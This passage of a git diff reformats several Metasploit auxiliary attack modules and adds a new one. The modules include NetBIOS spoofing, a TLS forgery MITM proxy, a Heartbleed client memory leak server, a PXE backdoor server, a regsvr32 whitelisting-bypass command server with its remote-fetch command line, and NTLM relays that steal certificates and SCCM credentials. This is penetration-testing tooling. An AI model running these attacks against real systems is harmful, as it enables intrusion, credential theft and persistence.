'sensitive_files_win.txt')]) - ]) + OptPath.new('FILES', [true, 'Files you wish to download', ::File.join(Msf::Config.data_directory, 'wordlists', 'sensitive_files_win.txt')]) + ] + ) end def receiver_page @@ -138,7 +145,7 @@ def parse_body(body) { fname: ::File.basename(params['fname'].first), - data: parse_data(params['data'].first) + data: parse_data(params['data'].first) } end @@ -166,6 +173,5 @@ def on_request_uri(cli, request) # here you go (handy for debugging purposes, but against a larger network this is probably # too much info) vprint_status("File collected: #{file[:fname]}\n\n#{Rex::Text.to_hex_dump(file[:data])}") - end end diff --git a/modules/auxiliary/server/netbios_spoof_nat.rb b/modules/auxiliary/server/netbios_spoof_nat.rb index 4e180dd042a9f..62002b9e99123 100644 --- a/modules/auxiliary/server/netbios_spoof_nat.rb +++ b/modules/auxiliary/server/netbios_spoof_nat.rb @@ -7,8 +7,8 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)', - 'Description' => %q{ + 'Name' => 'NetBIOS Response "BadTunnel" Brute Force Spoof (NAT Tunnel)', + 'Description' => %q{ This module listens for a NetBIOS name request and then continuously spams NetBIOS responses to a target for given hostname, causing the target to cache a malicious address for this name. On high-speed networks, the PPSRATE value @@ -27,40 +27,38 @@ def initialize of NetBIOS requests. }, - 'Author' => [ + 'Author' => [ 'vvalien', # Metasploit Module (post) 'hdm', # Metasploit Module 'tombkeeper' # Vulnerability Discovery ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run listener for NetBIOS requests and respond to them' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service', - 'References' => - [ - ['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'], - ['CVE', '2016-3213'], - ['MSB', 'MS16-063'], - ['CVE', '2016-3236'], - ['MSB', 'MS16-077'] - ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', 'Description' => 'Run listener for NetBIOS requests and respond to them' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', + 'References' => [ + ['URL', 'http://xlab.tencent.com/en/2016/06/17/BadTunnel-A-New-Hope/'], + ['CVE', '2016-3213'], + ['MSB', 'MS16-063'], + ['CVE', '2016-3236'], + ['MSB', 'MS16-077'] + ], 'DisclosureDate' => 'Jun 14 2016' ) register_options( [ - OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]), - OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), - OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), - OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) - ]) + OptAddress.new('SRVHOST', [ true, "The local host to listen on.", '0.0.0.0' ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 137 ]), + OptString.new('NBNAME', [ true, "The NetBIOS name to spoof a reply for", 'WPAD' ]), + OptAddress.new('NBADDR', [ true, "The address that the NetBIOS name should resolve to", Rex::Socket.source_address("50.50.50.50") ]), + OptInt.new('PPSRATE', [ true, "The rate at which to send NetBIOS replies", 1_000]) + ] + ) end def netbios_service @@ -94,7 +92,6 @@ def netbios_service @sock.connect(@targ_addr, @targ_port) netbios_spam - rescue ::Interrupt raise $! rescue ::Exception => e @@ -106,25 +103,25 @@ def netbios_service def netbios_spam payload = - "\xff\xff" + # TX ID (will brute force this) - "\x85\x00" + # Flags = response + authoritative + recursion desired - "\x00\x00" + # Questions = 0 - "\x00\x01" + # Answer RRs = 1 - "\x00\x00" + # Authority RRs = 0 - "\x00\x00" + # Additional RRs = 0 - "\x20" + - Rex::Proto::SMB::Utils.nbname_encode( [@fake_name.upcase].pack("A15") + "\x00" ) + - "\x00" + - "\x00\x20" + # Type = NB - "\x00\x01" + # Class = IN - "\x00\x04\x93\xe0" + # TTL long time - "\x00\x06" + # Datalength = 6 - "\x00\x00" + # Flags B-node, unique - Rex::Socket.addr_aton(@fake_addr) + "\xff\xff" + # TX ID (will brute force this) + "\x85\x00" + # Flags = response + authoritative + recursion desired + "\x00\x00" + # Questions = 0 + "\x00\x01" + # Answer RRs = 1 + "\x00\x00" + # Authority RRs = 0 + "\x00\x00" + # Additional RRs = 0 + "\x20" + + Rex::Proto::SMB::Utils.nbname_encode([@fake_name.upcase].pack("A15") + "\x00") + + "\x00" + + "\x00\x20" + # Type = NB + "\x00\x01" + # Class = IN + "\x00\x04\x93\xe0" + # TTL long time + "\x00\x06" + # Datalength = 6 + "\x00\x00" + # Flags B-node, unique + Rex::Socket.addr_aton(@fake_addr) stime = Time.now.to_f pcnt = 0 - pps = 0 + pps = 0 print_status("Spamming NetBIOS responses for #{@fake_name}/#{@fake_addr} to #{@targ_addr}:#{@targ_port} at #{@targ_rate}/pps...") @@ -132,7 +129,7 @@ def netbios_spam while live 0.upto(65535) do |txid| begin - payload[0,2] = [txid].pack("n") + payload[0, 2] = [txid].pack("n") @sock.write(payload) pcnt += 1 diff --git a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb index c8140c7b5ecb6..4fc5bcba1787a 100644 --- a/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb +++ b/modules/auxiliary/server/openssl_altchainsforgery_mitm_proxy.rb @@ -10,8 +10,8 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy', - 'Description' => %q{ + 'Name' => 'OpenSSL Alternative Chains Certificate Forgery MITM Proxy', + 'Description' => %q{ This module exploits a logic error in OpenSSL by impersonating the server and sending a specially-crafted chain of certificates, resulting in certain checks on untrusted certificates to be bypassed on the client, @@ -26,22 +26,19 @@ def initialize X509_V_ERR_UNABLE_TO_GET_ISSUER_CERT_LOCALLY. This module requires an active man-in-the-middle attack. }, - 'Author' => - [ - 'David Benjamin', # Vulnerability discovery - 'Adam Langley', # Vulnerability discovery - 'Ramon de C Valle' # Metasploit module - ], + 'Author' => [ + 'David Benjamin', # Vulnerability discovery + 'Adam Langley', # Vulnerability discovery + 'Ramon de C Valle' # Metasploit module + ], 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run MITM proxy' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service', + 'Actions' => [ + [ 'Service', 'Description' => 'Run MITM proxy' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', 'References' => [ ['CVE', '2015-1793'], ['CWE', '754'], @@ -61,7 +58,8 @@ def initialize OptPort.new('PORT', [ true, 'The server port', 443]), OptString.new('SRVHOST', [ true, 'The proxy address', '0.0.0.0']), OptString.new('SRVPORT', [ true, 'The proxy port', 443]) - ]) + ] + ) end def cleanup @@ -148,11 +146,12 @@ def run 'LocalHost' => local_host, 'LocalPort' => local_port, 'SSLContext' => context, - 'Context' => + 'Context' => { - 'Msf' => framework, + 'Msf' => framework, 'MsfExploit' => self - }) + } + ) print_status('Listening on %s:%d' % [local_host, local_port]) @@ -167,13 +166,14 @@ def run server = Rex::Socket::Tcp.create( 'PeerHost' => host, 'PeerPort' => port, - 'SSL' => true, + 'SSL' => true, 'SSLVerifyMode' => 'NONE', - 'Context' => + 'Context' => { - 'Msf' => framework, + 'Msf' => framework, 'MsfExploit' => self - }) + } + ) add_socket(server) print_status('Connected to %s:%d' % [host, port]) @@ -198,7 +198,6 @@ def run end end end - rescue EOFError, Errno::ECONNRESET path = store_loot( 'tls.application_data', diff --git a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb index 32cbc67271bb5..017a21bdb7c39 100644 --- a/modules/auxiliary/server/openssl_heartbeat_client_memory.rb +++ b/modules/auxiliary/server/openssl_heartbeat_client_memory.rb @@ -9,53 +9,51 @@ class MetasploitModule < Msf::Auxiliary def initialize super( - 'Name' => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure', - 'Description' => %q{ + 'Name' => 'OpenSSL Heartbeat (Heartbleed) Client Memory Exposure', + 'Description' => %q{ This module provides a fake SSL service that is intended to leak memory from client systems as they connect. This module is hardcoded for using the AES-128-CBC-SHA1 cipher. }, - 'Author' => - [ - 'Neel Mehta', # Vulnerability discovery - 'Riku', # Vulnerability discovery - 'Antti', # Vulnerability discovery - 'Matti', # Vulnerability discovery - 'hdm' # Metasploit module - ], - 'License' => MSF_LICENSE, - 'Actions' => [['Capture', 'Description' => 'Run server to disclose memory from incoming clients']], + 'Author' => [ + 'Neel Mehta', # Vulnerability discovery + 'Riku', # Vulnerability discovery + 'Antti', # Vulnerability discovery + 'Matti', # Vulnerability discovery + 'hdm' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'Actions' => [['Capture', 'Description' => 'Run server to disclose memory from incoming clients']], 'PassiveActions' => ['Capture'], - 'DefaultAction' => 'Capture', - 'References' => - [ - [ 'CVE', '2014-0160' ], - [ 'US-CERT-VU', '720951' ], - [ 'URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA14-098A' ], - [ 'URL', 'http://heartbleed.com/' ] - ], + 'DefaultAction' => 'Capture', + 'References' => [ + [ 'CVE', '2014-0160' ], + [ 'US-CERT-VU', '720951' ], + [ 'URL', 'https://www.cisa.gov/uscert/ncas/alerts/TA14-098A' ], + [ 'URL', 'http://heartbleed.com/' ] + ], 'DisclosureDate' => 'Apr 07 2014', - 'Notes' => - { - 'AKA' => ['Heartbleed'] - } + 'Notes' => { + 'AKA' => ['Heartbleed'] + } ) register_options( [ - OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8443 ]), + OptPort.new('SRVPORT', [ true, "The local port to listen on.", 8443 ]), OptInt.new('HEARTBEAT_LIMIT', [true, "The number of kilobytes of data to capture at most from each client", 512]), OptInt.new('HEARTBEAT_READ', [true, "The number of bytes to leak in the heartbeat response", 65535]), OptBool.new('NEGOTIATE_TLS', [true, "Set this to true to negotiate TLS and often leak more data at the cost of CA validation", false]) - ]) + ] + ) end # Initialize the client state and RSA key for this session def setup super - @state = {} - @cert_key = OpenSSL::PKey::RSA.new(1024){ } if negotiate_tls? + @state = {} + @cert_key = OpenSSL::PKey::RSA.new(1024) {} if negotiate_tls? end # Setup the server module and start handling requests @@ -76,16 +74,16 @@ def heartbeat_limit # Determine whether we should negotiate TLS or not def negotiate_tls? - !! datastore['NEGOTIATE_TLS'] + !!datastore['NEGOTIATE_TLS'] end # Initialize a new state for every client def on_client_connect(c) @state[c] = { - :name => "#{c.peerhost}:#{c.peerport}", - :ip => c.peerhost, - :port => c.peerport, - :heartbeats => "", + :name => "#{c.peerhost}:#{c.peerport}", + :ip => c.peerhost, + :port => c.peerport, + :heartbeats => "", :server_random => [Time.now.to_i].pack("N") + Rex::Text.rand_text(28) } print_status("#{@state[c][:name]} Connected") @@ -95,6 +93,7 @@ def on_client_connect(c) def on_client_data(c) data = c.get_once return if not data + @state[c][:buff] ||= "" @state[c][:buff] << data process_request(c) @@ -102,9 +101,8 @@ def on_client_data(c) # Extract TLS messages from the buffer and process them def process_request(c) - # Make this slightly harder to DoS - if @state[c][:buff].to_s.length > (1024*128) + if @state[c][:buff].to_s.length > (1024 * 128) print_status("#{@state[c][:name]} Buffer limit reached, dropping connection") c.close return @@ -116,9 +114,9 @@ def process_request(c) message_type, message_ver, message_len = @state[c][:buff].unpack("Cnn") break unless message_len - break unless @state[c][:buff].length >= message_len+5 + break unless @state[c][:buff].length >= message_len + 5 - mesg = @state[c][:buff].slice!(0, message_len+5) + mesg = @state[c][:buff].slice!(0, message_len + 5) if @state[c][:encrypted] process_openssl_encrypted_request(c, mesg) @@ -133,7 +131,7 @@ def process_openssl_cleartext_request(c, data) message_type, message_version, protocol_version = data.unpack("Cn@9n") if message_type == 0x15 and data.length >= 7 - message_level, message_reason = data[5,2].unpack("CC") + message_level, message_reason = data[5, 2].unpack("CC") print_status("#{@state[c][:name]} Alert Level #{message_level} Reason #{message_reason}") if message_level == 2 and message_reason == 0x30 print_status("#{@state[c][:name]} Client rejected our certificate due to unknown CA") @@ -148,7 +146,7 @@ def process_openssl_cleartext_request(c, data) end unless message_type == 0x18 - message_code = data[5,1].to_s.unpack("C").first + message_code = data[5, 1].to_s.unpack("C").first vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}") end @@ -163,7 +161,7 @@ def process_openssl_cleartext_request(c, data) print_status("#{@state[c][:name]} Processing Client Hello...") # Extract the client_random needed to compute the master key - @state[c][:client_random] = data[11,32] + @state[c][:client_random] = data[11, 32] @state[c][:received_hello] = true print_status("#{@state[c][:name]} Sending Server Hello...") @@ -203,8 +201,8 @@ def process_openssl_cleartext_request(c, data) # Process cleartext heartbeat replies if message_type == 0x18 - vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length-5} bytes) [#{@state[c][:heartbeats].length} bytes total]") - @state[c][:heartbeats] << data[5, data.length-5] + vprint_status("#{@state[c][:name]} Heartbeat received (#{data.length - 5} bytes) [#{@state[c][:heartbeats].length} bytes total]") + @state[c][:heartbeats] << data[5, data.length - 5] end # Full up on heartbeats, disconnect the client @@ -223,14 +221,14 @@ def process_openssl_encrypted_request(c, data) return if @state[c][:shutdown] return unless data.length > 5 - buff = decrypt_data(c, data[5, data.length-5]) + buff = decrypt_data(c, data[5, data.length - 5]) unless buff print_error("#{@state[c][:name]} Failed to decrypt, giving up on this client") c.close return end - message_code = buff[0,1].to_s.unpack("C").first + message_code = buff[0, 1].to_s.unpack("C").first vprint_status("#{@state[c][:name]} Message #{sprintf("type %.2x v%.4x %.2x", message_type, message_version, message_code)}") if message_type == 0x16 @@ -301,7 +299,6 @@ def on_client_close(c) # Send an OpenSSL Server Hello response def openssl_send_server_hello(c, hello, version) - # If encrypted, use the TLS_RSA_WITH_AES_128_CBC_SHA; otherwise, use the # first cipher suite sent by the client. if @state[c][:encrypted] @@ -322,7 +319,7 @@ def openssl_send_server_hello(c, hello, version) "\x00" + # Compression Method (none) [extensions.length].pack('n') + extensions - server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1,3] + server_hello_payload + server_hello = [0x02].pack("C") + [ server_hello_payload.length ].pack("N")[1, 3] + server_hello_payload msg1 = "\x16" + [version].pack('n') + [server_hello.length].pack("n") + server_hello c.put(msg1) @@ -360,38 +357,38 @@ def generate_certificates # Generate a self-signed certificate to use for the service def generate_certificate - key = @cert_key + key = @cert_key cert = OpenSSL::X509::Certificate.new cert.version = 2 - cert.serial = rand(0xFFFFFFFF) + cert.serial = rand(0xFFFFFFFF) subject_cn = Rex::Text.rand_hostname subject = OpenSSL::X509::Name.new([ - ["C","US"], - ['ST', Rex::Text.rand_state()], - ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], - ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], - ["CN", subject_cn], - ]) + ["C", "US"], + ['ST', Rex::Text.rand_state()], + ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["CN", subject_cn], + ]) issuer = OpenSSL::X509::Name.new([ - ["C","US"], - ['ST', Rex::Text.rand_state()], - ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], - ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], - ["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], - ]) + ["C", "US"], + ['ST', Rex::Text.rand_state()], + ["L", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["O", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ["CN", Rex::Text.rand_text_alpha(rand(20) + 10).capitalize], + ]) cert.subject = subject cert.issuer = issuer cert.not_before = Time.now - (3600 * 24 * 365) + rand(3600 * 14) cert.not_after = Time.now + (3600 * 24 * 365) + rand(3600 * 14) cert.public_key = key.public_key - ef = OpenSSL::X509::ExtensionFactory.new(nil,cert) + ef = OpenSSL::X509::ExtensionFactory.new(nil, cert) cert.extensions = [ - ef.create_extension("basicConstraints","CA:FALSE"), - ef.create_extension("subjectKeyIdentifier","hash"), - ef.create_extension("extendedKeyUsage","serverAuth"), - ef.create_extension("keyUsage","keyEncipherment,dataEncipherment,digitalSignature") + ef.create_extension("basicConstraints", "CA:FALSE"), + ef.create_extension("subjectKeyIdentifier", "hash"), + ef.create_extension("extendedKeyUsage", "serverAuth"), + ef.create_extension("keyUsage", "keyEncipherment,dataEncipherment,digitalSignature") ] ef.issuer_certificate = cert cert.add_extension ef.create_extension("authorityKeyIdentifier", "keyid:always,issuer:always") @@ -411,7 +408,7 @@ def decrypt_data(c, data) # Trim the trailing MAC signature off the buffer if buff.length >= 20 - return buff[0, buff.length-20] + return buff[0, buff.length - 20] end rescue ::OpenSSL::Cipher::CipherError => e print_error("#{@state[c][:name]} Decryption failed: #{e}") @@ -433,7 +430,7 @@ def tls1_calculate_crypto_keys(c) key_block = tls1_prf( @state[c][:master], - "key expansion" + @state[c][:server_random] + @state[c][:client_random], + "key expansion" + @state[c][:server_random] + @state[c][:client_random], (20 * 2) + (16 * 4) ) @@ -441,22 +438,22 @@ def tls1_calculate_crypto_keys(c) @state[c].update({ :client_write_mac_key => key_block.slice!(0, 20), :server_write_mac_key => key_block.slice!(0, 20), - :client_write_key => key_block.slice!(0, 16), - :server_write_key => key_block.slice!(0, 16), - :client_iv => key_block.slice!(0, 16), - :server_iv => key_block.slice!(0, 16), + :client_write_key => key_block.slice!(0, 16), + :server_write_key => key_block.slice!(0, 16), + :client_iv => key_block.slice!(0, 16), + :server_iv => key_block.slice!(0, 16), }) client_cipher = OpenSSL::Cipher.new('aes-128-cbc') client_cipher.decrypt client_cipher.key = @state[c][:client_write_key] - client_cipher.iv = @state[c][:client_iv] + client_cipher.iv = @state[c][:client_iv] client_mac = OpenSSL::HMAC.new(@state[c][:client_write_mac_key], OpenSSL::Digest.new('sha1')) server_cipher = OpenSSL::Cipher.new('aes-128-cbc') server_cipher.encrypt server_cipher.key = @state[c][:server_write_key] - server_cipher.iv = @state[c][:server_iv] + server_cipher.iv = @state[c][:server_iv] server_mac = OpenSSL::HMAC.new(@state[c][:server_write_mac_key], OpenSSL::Digest.new('sha1')) @state[c].update({ @@ -472,10 +469,11 @@ def tls1_calculate_crypto_keys(c) # Determine the master key from the premaster and client/server randoms def tls1_calculate_master_key(c) return unless ( - @state[c][:premaster] and + @state[c][:premaster] and @state[c][:client_random] and @state[c][:server_random] ) + tls1_prf( @state[c][:premaster], "master secret" + @state[c][:client_random] + @state[c][:server_random], @@ -503,14 +501,14 @@ def tls1_prf(input_secret, input_label, output_length) out2 = tls1_p_hash('sha1', s2, input_label, output_length).unpack("C*") # XOR the results together - [*(0..out1.length-1)].map {|i| out1[i] ^ out2[i] }.pack("C*") + [*(0..out1.length - 1)].map { |i| out1[i] ^ out2[i] }.pack("C*") end # Used by tls1_prf to generate arbitrary amounts of session key data def tls1_p_hash(digest, secret, label, olen) - output = "" - chunk = OpenSSL::Digest.new(digest).digest_length - ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest)) + output = "" + chunk = OpenSSL::Digest.new(digest).digest_length + ctx = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest)) ctx_tmp = OpenSSL::HMAC.new(secret, OpenSSL::Digest.new(digest)) ctx.update(label) diff --git a/modules/auxiliary/server/pxeexploit.rb b/modules/auxiliary/server/pxeexploit.rb index bfcbbc41c59bc..9a02044363e87 100644 --- a/modules/auxiliary/server/pxeexploit.rb +++ b/modules/auxiliary/server/pxeexploit.rb @@ -3,15 +3,14 @@ # Current source: https://github.com/rapid7/metasploit-framework ## - class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::TFTPServer include Msf::Auxiliary::Report def initialize super( - 'Name' => 'PXE Boot Exploit Server', - 'Description' => %q{ + 'Name' => 'PXE Boot Exploit Server', + 'Description' => %q{ This module provides a PXE server, running a DHCP and TFTP server. The default configuration loads a linux kernel and initrd into memory that reads the hard drive; placing a payload to install metsvc, disable the @@ -24,17 +23,15 @@ def initialize Note: the displayed IP address of a target is the address this DHCP server handed out, not the "normal" IP address the host uses. }, - 'Author' => [ 'scriptjunkie' ], - 'License' => MSF_LICENSE, - 'Actions' => - [ - [ 'Service', 'Description' => 'Run PXE server' ] - ], - 'PassiveActions' => - [ - 'Service' - ], - 'DefaultAction' => 'Service', + 'Author' => [ 'scriptjunkie' ], + 'License' => MSF_LICENSE, + 'Actions' => [ + [ 'Service', 'Description' => 'Run PXE server' ] + ], + 'PassiveActions' => [ + 'Service' + ], + 'DefaultAction' => 'Service', 'DefaultOptions' => { 'FILENAME' => 'update1', 'SERVEONCE' => true # once they reboot; don't infect again - you'll kill them! @@ -43,13 +40,16 @@ def initialize register_advanced_options( [ - OptString.new('TFTPROOT', [ false, 'The TFTP root directory to serve files from', - File.join(Msf::Config.data_directory, 'exploits', 'pxexploit')]), - OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), - OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), - OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), - OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) - ]) + OptString.new('TFTPROOT', [ + false, 'The TFTP root directory to serve files from', + File.join(Msf::Config.data_directory, 'exploits', 'pxexploit') + ]), + OptString.new('SRVHOST', [ false, 'The IP of the DHCP server' ]), + OptString.new('NETMASK', [ false, 'The netmask of the local subnet', '255.255.255.0' ]), + OptString.new('DHCPIPSTART', [ false, 'The first IP to give out' ]), + OptString.new('DHCPIPEND', [ false, 'The last IP to give out' ]) + ] + ) end def run @@ -60,13 +60,13 @@ def run add_socket(@tftp.sock) print_status("Starting DHCP server...") - @dhcp = Rex::Proto::DHCP::Server.new( datastore ) + @dhcp = Rex::Proto::DHCP::Server.new(datastore) @dhcp.report do |mac, ip| - print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} "+ + print_status("Serving PXE attack to #{mac.unpack('H2H2H2H2H2H2').join(':')} " + "(#{Rex::Socket.addr_ntoa(ip)})") report_note( :type => 'PXE.client', - :data => mac.unpack('H2H2H2H2H2H2').join(':') + :data => { :client => mac.unpack('H2H2H2H2H2H2').join(':') } ) end @dhcp.start @@ -75,6 +75,5 @@ def run # Wait for finish.. @tftp.thread.join @dhcp.thread.join - end end diff --git a/modules/auxiliary/server/regsvr32_command_delivery_server.rb b/modules/auxiliary/server/regsvr32_command_delivery_server.rb index 175ec0ee7e484..97449608377ba 100644 --- a/modules/auxiliary/server/regsvr32_command_delivery_server.rb +++ b/modules/auxiliary/server/regsvr32_command_delivery_server.rb @@ -7,40 +7,45 @@ class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpServer def initialize(info = {}) - super(update_info(info, - 'Name' => 'Regsvr32.exe (.sct) Command Delivery Server', - 'Description' => %q( - This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on - a target system. The major advantage of this technique is that you can execute a static command on the target - system and dynamically and remotely change the command that will actually run (by changing the value of CMD). - This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility - is needed through the use of a single command (e.g., as Rubber Ducky payload). - ), - 'License' => MSF_LICENSE, - 'Author' => - [ - 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) + super( + update_info( + info, + 'Name' => 'Regsvr32.exe (.sct) Command Delivery Server', + 'Description' => %q{ + This module uses the Regsvr32.exe Application Whitelisting Bypass technique as a way to run a command on + a target system. The major advantage of this technique is that you can execute a static command on the target + system and dynamically and remotely change the command that will actually run (by changing the value of CMD). + This is useful when combined with persistence methods (e.g., a recurring scheduled task) or when flexibility + is needed through the use of a single command (e.g., as Rubber Ducky payload). + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'Casey Smith', # AppLocker bypass research and vulnerability discovery (@subTee) 'Trenton Ivey', # MSF Module (kn0) 'mubix', # Auxiliary module idea ], - 'References' => - [ - ['URL', 'http://subt0x10.blogspot.com/2016/04/bypass-application-whitelisting-script.html'] - ] - )) + 'References' => [ + ['URL', 'http://web.archive.org/web/20170419145048/http://subt0x10.blogspot.com:80/2016/04/bypass-application-whitelisting-script.html'] + ], + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ - OptString.new('CMD',[false, 'The command to execute','']) - ]) + OptString.new('CMD', [false, 'The command to execute', '']) + ] + ) end - def run exploit end - def primer print_status("Run the following command on the target machine:") print_line("regsvr32 /s /n /u /i:#{get_uri} scrobj.dll") @@ -52,12 +57,10 @@ def on_request_uri(cli, _request) send_response(cli, data, 'Content-Type' => 'text/plain') end - def rand_class_id "#{Rex::Text.rand_text_hex 8}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 4}-#{Rex::Text.rand_text_hex 12}" end - def gen_sct_file(command) # If the provided command is empty, a correctly formatted response is still needed (otherwise the system raises an error). if command == '' diff --git a/modules/auxiliary/server/relay/esc8.rb b/modules/auxiliary/server/relay/esc8.rb index 48ef580a70fdb..6e7bfc5cf6ea5 100644 --- a/modules/auxiliary/server/relay/esc8.rb +++ b/modules/auxiliary/server/relay/esc8.rb @@ -7,7 +7,7 @@ class MetasploitModule < Msf::Auxiliary include ::Msf::Exploit::Remote::SMB::RelayServer include ::Msf::Exploit::Remote::HttpClient - def initialize + def initialize(_info = {}) super({ 'Name' => 'ESC8 Relay: SMB to HTTP(S)', 'Description' => %q{ @@ -40,21 +40,19 @@ def initialize OptBool.new('RANDOMIZE_TARGETS', [true, 'Whether the relay targets should be randomized', true]), ] ) - - deregister_options('RHOSTS') end def relay_targets Msf::Exploit::Remote::SMB::Relay::TargetList.new( (datastore['SSL'] ? :https : :http), datastore['RPORT'], - datastore['RELAY_TARGETS'], + datastore['RHOSTS'], datastore['TARGETURI'], randomize_targets: datastore['RANDOMIZE_TARGETS'] ) end - def initial_handshake?(target_ip) + def check_host(target_ip) res = send_request_raw( { 'rhost' => target_ip, @@ -67,18 +65,30 @@ def initial_handshake?(target_ip) ) disconnect - res&.code == 401 - end + return Exploit::CheckCode::Unknown if res.nil? + unless res.code == 401 + return Exploit::CheckCode::Safe('The target does not require authentication.') + end + + unless res.headers['WWW-Authenticate'].include?('NTLM') && res.body.present? + return Exploit::CheckCode::Safe('The target does not support NTLM.') + end - def check_options - if datastore['RHOSTS'].present? - print_warning('Warning: RHOSTS datastore value has been set which is not supported by this module. Please verify RELAY_TARGETS is set correctly.') + if datastore['SSL'] + # if the target is over SSL, downgrade to "Detected" because Extended Protection for Authentication may or may not be enabled + Exploit::CheckCode::Detected('Server replied that authentication is required and NTLM is supported. Target is over SSL, Extended Protection for Authentication (EPA) may or may not be enabled.') + else + Exploit::CheckCode::Appears('Server replied that authentication is required and NTLM is supported.') end + end + + def validate + super case datastore['MODE'] when 'SPECIFIC_TEMPLATE' - if datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? - fail_with(Failure::BadConfig, 'CERT_TEMPLATE must be set in AUTO and SPECIFIC_TEMPLATE mode') + if datastore['CERT_TEMPLATE'].blank? + raise Msf::OptionValidateError.new({ 'CERT_TEMPLATE' => 'CERT_TEMPLATE must be set when MODE is SPECIFIC_TEMPLATE' }) end when 'ALL', 'AUTO', 'QUERY_ONLY' unless datastore['CERT_TEMPLATE'].nil? || datastore['CERT_TEMPLATE'].blank? @@ -88,11 +98,11 @@ def check_options end def run - check_options @issued_certs = {} relay_targets.each do |target| vprint_status("Checking endpoint on #{target}") - unless initial_handshake?(target.ip) + check_code = check_host(target.ip) + if [Exploit::CheckCode::Unknown, Exploit::CheckCode::Safe].include?(check_code) fail_with(Failure::UnexpectedReply, "Web Enrollment does not appear to be enabled on #{target}") end end diff --git a/modules/auxiliary/server/relay/relay_get_naa_credentials.rb b/modules/auxiliary/server/relay/relay_get_naa_credentials.rb new file mode 100644 index 0000000000000..34d2affec95e0 --- /dev/null +++ b/modules/auxiliary/server/relay/relay_get_naa_credentials.rb @@ -0,0 +1,111 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include ::Msf::Exploit::Remote::SMB::RelayServer + include ::Msf::Exploit::Remote::HTTP::SCCM + + def initialize + super({ + 'Name' => 'SMB to HTTP relay version of Get NAA Creds', + 'Description' => %q{ + This module creates an SMB server and then relays the credentials passed to it to SCCM's HTTP server + (aka Management Point) to gain an authenticated connection. Once authenticated it then attempts to retrieve + the Network Access Account(s), if configured, from the SCCM server. This requires a computer account, + which can be added using the samr_account module. + + If you have domain credentials but are unsure of the either the MANAGEMENT_POINT or SITE_CODE for the + SCCM server, the original (non-relay) version of this module has an auto discovery feature which will use + domain credentials to run an LDAP query to find both the MANAGEMENT_POINT and the SITE_CODE. + }, + 'Author' => [ + 'xpn', # Initial research + 'skelsec', # Initial obfuscation port + 'smashery', # original module author + 'jheysel-r7' # added relay capability + ], + 'References' => [ + ['URL', 'https://blog.xpnsec.com/unobfuscating-network-access-accounts/'], + ['URL', 'https://github.com/subat0mik/Misconfiguration-Manager/blob/main/attack-techniques/CRED/CRED-2/cred-2_description.md'], + ['URL', 'https://github.com/Mayyhem/SharpSCCM'], + ['URL', 